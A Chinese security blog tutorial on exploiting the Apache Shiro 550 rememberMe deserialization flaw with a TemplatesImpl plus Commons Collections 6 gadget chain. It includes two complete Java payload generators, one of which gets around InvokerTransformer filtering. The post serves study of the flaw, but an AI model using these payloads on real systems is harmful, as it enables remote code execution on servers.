TemplatesImpl结合cc6在Shiro中的利用

这个文章也是参考p牛的文章;但其中许多细节,就比如为什么普通的Transformer[]数组链不能再shiro中使用;

但其中大致原理还是说一下

先说下shiro反序列化的原理

简单来说就是

shiro 会将用户的登录信息进行序列化保存在Cookie的rememberMe字段中,在服务端读取用户信息时会对这个这段进行一次反序列化;导致客户端可控rememberMe字段的情况下导致的反序列化漏洞;但shiro做了一些校验,先效验aes的key(对其进行一次解密操作),然后再进行反序列化;但shiro550中存在默认的key,导致攻击者知道了这个key后,进行一次aes加密,就可以进行反序列化漏洞的利用;

在这篇文章中主要写的是TemplatesImpl结合cc6在Shiro中的利用;也就是说主题是TemplatesImpl结合cc6;

先来看背景;正常的cc6是无法打shiro的tomcat会报错

原因是:在shiro.io包中重写了resolveClass方法;从ClassUtils.forName(osc.getName())可以看出来这个方法在java中是用来寻找类名的;

而在其父类中使用的是原生的Class.forName

这里直接给出结论:在shiro中使用它自身的反序列化机制;(ClassResolvingObjectInputStream) 无法正确处理包含非Java核心库数组类(如 Transformer[])的序列化流

也就是说shiro中的ClassUtils.forName方法无法"处理"对非java自身的数组的序列化流;

因此这里这里需要构造不含数组的反序列化gadget;

在cc链的调用链中我们知道;它的注入过程是依赖数组形式调用链的;

在之前的动态加载字节码中我们可以绕过InvokerTransformer和Runtime.class;等但依旧依赖Transformer[]数组;

但在LazyMap的get方法中,我们看到它的transform(key);这里传入一个key参数

正常cc链来说,这个key参数无关紧要;因为new ConstantTransformer(Runtime.class)已经可以初始化类对象了;但现在是无法使用Transform数组的;

我们先来看ConstantTransformer这个方法干了什么

可以看到他的作用就是"传进去一个类,在构造transform链子时,返回这个类";而new ConstantTransformer(Runtime.class)正好可以初始化;在比对一下发现 azyMap的get方法中和这个 ConstantTransformer的功能是一样的;传进去一个类,在ChainedTransformer调用时调用transform(Object input) 这里的input 相当于key ;也就是说,如果我们控制这个key为我们传进去的恶意类不也可以初始化了吗;

但是这里不可以使用数组该怎么传进去恶意的指令呢;这里就要回到之前使用过的动态加载字节码(TemplateImp)来绕过了;

如何传入key呢;在整条链子中我们可以知道;TiedMapEntry类的构造函数中可以传入key,并且调用getvalue时,这个key作为get函数的参数,因此我们只需要在TiedMapEntry对象传入恶意字节码类即可

在之前的上一篇文章,cc6结合动态字节码来绕过限制,具体代码如下;但这里的new ConstantTransformer(obj)是不必要的,因为我们可以直接通过key传入我们的恶意字节码类

Transformer[]transformers new Transformer[]
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",nul1,nul1)
};

以下是完整的payload

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer"); // ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close(); return barr.toByteArray();
}
}

但p牛这里直接用的InvokerTransformer,我们拓展一下,绕过InvokerTransformer,在上一篇文章中我们使用InstantiateTransformer来绕过,如下代码,这次如法炮制依然使用InstantiateTransformer绕过;

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
};

完整代码如下,这段代码中

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class},
new Object[]{""}
); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer); // 使用一个临时的无害Class对象(String.class)作为key
TiedMapEntry tme = new TiedMapEntry(outerMap, String.class); Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); // 这里会触发一次transform,但无害 // 清除LazyMap中因put操作产生的缓存(清除掉刚刚生成的String实例)
outerMap.clear(); // 修改TiedMapEntry的key为TrAXFilter.class
setFieldValue(tme, "key", TrAXFilter.class); // 修改transformer为恶意参数
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
// setFieldValue(transformer, "iConstructor", null); // 清除缓存 // 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close(); return barr.toByteArray();
}
}

总结:这篇文章通过shiro的反序列化介绍了,如何通过动态加载字节码(TemplatesImpl)的方式绕过Transform[]数组不可以使用的限制;也就是利用LazyMap的transform方法接受一个key参数;而TiedMapEntry类恰好可以传入一个key;且getvalue调用get方法时会把这个key作为参数;导致了我们可以不使用ConstantTransformer作为构造器就可以实例化恶意类的对象,从而动态加载我们的恶意字节码;最后顺带拓展了一下

使用InstantiateTransformer拓展InvokerTransformer被过滤问题的绕过;

-----------------------------备注----------------------------

参考:

https://github.com/phith0n/JavaThings?tab=readme-ov-file

与其知识星球->代码审计->java系列文章

TemplatesImpl结合cc6在Shiro中的利用的更多相关文章

  1. shiro中部分SpringCache失效问题

    原文:https://www.cnblogs.com/liruiloveparents/p/9392159.html shiro中部分SpringCache失效问题   1.问题抛出 今天在做Spri ...

  2. Git中如何利用生成SSH个人公钥访问git仓库

    Git中如何利用生成SSH个人公钥访问git仓库方法(这里以coding平台为例): 1. 获取 SSH 协议地址 在项目的代码页面点击 SSH 切换到 SSH 协议, 获得访问地址, 请使用这个地址 ...

  3. C/S模式开发中如何利用WebBrowser控件制作导航窗体

    原文:C/S模式开发中如何利用WebBrowser控件制作导航窗体 转自: CSDN 相信不少同学们都做过MIS系统的开发,今天这里不讨论B/S模式开发的问题.来谈谈winform开发.用过市面上常见 ...

  4. 从零到实现Shiro中Authorization和Authentication的缓存

    本文大纲 一.简介 二.缓存的概念 三.自定义实现缓存机制 四.什么是Ehcache 五.Ehcache怎么用 六.Spring对缓存的支持 七.Spring+Ehcache实现 八.Spring+S ...

  5. shiro中 UnknownAccountException

    一 shiro的session.request和response与服务端容器自身的这三个对象的关系 在web.xml中配置了一个Filter,拦截/*,所有的uri.在拦截器中还会调用ShiroFil ...

  6. shiro中CacheManager相关的类结构介绍,提供redis Cache实现

    cacheManager主要用于对shiro中的session.realm中的认证信息.授权信息进行缓存. 1.类结构 2.接口及类介绍 CacheManager 提供根据名字获取cache的作用. ...

  7. Shiro中的授权问题(二)

    上篇博客(Shiro中的授权问题 )我们介绍了Shiro中最最基本的授权问题,以及常见的权限字符的匹配问题.但是这里边还有许多细节需要我们继续介绍,本节我们就来看看Shiro中授权的一些细节问题. 验 ...

  8. Shiro中的授权问题

    在初识Shiro一文中,我们对Shiro的基本使用已经做了简单的介绍,不懂的小伙伴们可以先阅读上文,今天我们就来看看Shiro中的授权问题. Shiro中的授权,大体上可以分为两大类,一类是隐式角色, ...

  9. Shiro中的Rememberme后出现浏览器500错误

    问题详述:在Shiro中添加Remember me功能后,只要勾选Remember me选项为true的时候,浏览器就会跳转到一个不可达页面,并且在Chrome中显示HTTP 500错误. 问题追踪: ...

  10. CVE-2019-0797漏洞:Windows操作系统中的新零日在攻击中被利用

    https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/ 前言 在2019年2月,卡巴实验室的自动漏洞防护(AEP)系统检测 ...

随机推荐

  1. 掌握 K8s Pod 基础应用 (一)

    Pod 介绍 Pod结构 每个Pod中都可以包含一个或者多个容器,这些容器可以分为两类: 用户程序所在的容器,数量可多可少 Pause容器,这是每个Pod都会有的一个根容器,它的作用有两个: 可以以它 ...

  2. JavaScript 图片弹窗

    html <!-- 触发弹窗 - 图片改为你的图片地址 --> <img loading="lazy" id="myImg" src=&quo ...

  3. IM服务器:一个使用imserver服务器进行聊天的web端案例

    该案例中包含一个基于web网页的前端程序,该案例会使用websocket与IM服务器(imserver)进行通信. 一.环境准备 1.下载 "imserver网页调用案例",并解压 ...

  4. 基于.NetCore开发 StarBlog 番外篇 (1) StarBlog Publisher,跨平台一键发布,DeepSeek加持的文章创作神器

    前言 我一直在优化发布文章的工作流 之前的 StarBlog 已经支持文章打包上传(将 Markdown 和图片文件一并打包为 ZIP 格式上传),但还是有不少步骤,重复的次数多了,还是感觉麻烦. 为 ...

  5. ANSYS 部件组装的注意事项

    ANSYS 中部件的装配 ANSYS 也可以实现与 Abaqus 类似的组装功能,但是要注意装配过程中材料编号,单元编号,坐标系编号的变化 具体装配流程 1.组件的创建和保存 ! 1.组件开头设置 f ...

  6. sql server2008r2其中一张表不能任何操作

    用户的数据库一张高频表,使用select count(*) from t1 竟然一直在转圈,显示开始,而没有end. 找尽原因不得果.把数据库备份后在恢复,可以使用几小时,之后又是老毛病抽风. 用户生 ...

  7. SpringBoot启动方法分析

    SpringBoot启动run方法分析 1.场景引入 在项目启动的时候,有时候我们需要在启动的时候,执行一些逻辑. 比如说,项目启动的时候,我想把一些热门商品的数据加载到缓存中去: 比如说,自定义了一 ...

  8. Codeforces Round 944 (Div. 4)

    知识点模块 1. ai xor aj<=4 意味着两个数字的二进制位,只能有后两位的二进制位不同,因为如果第三位二进制位不同,就会出现异或的结果大于4 2.要有化曲为直的思想 学会把曲线上的坐标 ...

  9. Java实体类如何映射到json数据(驼峰映射到json中的下划线)

    Java实体类(驼峰)映射到json数据(下划线) 由于经常需要接收前端的json数据,而json数据一般都是使用下划线命名的.后端又不太建议使用map接收,所以就需要用到使用自定义类来接收(如果参数 ...

  10. IDEA强制注册登录版本号:IntelliJ IDEA 2021.2.2

    建议采用 IntelliJ IDEA 2021.2.2 版本进行  Evaluate for free  试用 IntelliJ IDEA 2021.3.3  以前的版本可以不用注册登录idea账户, ...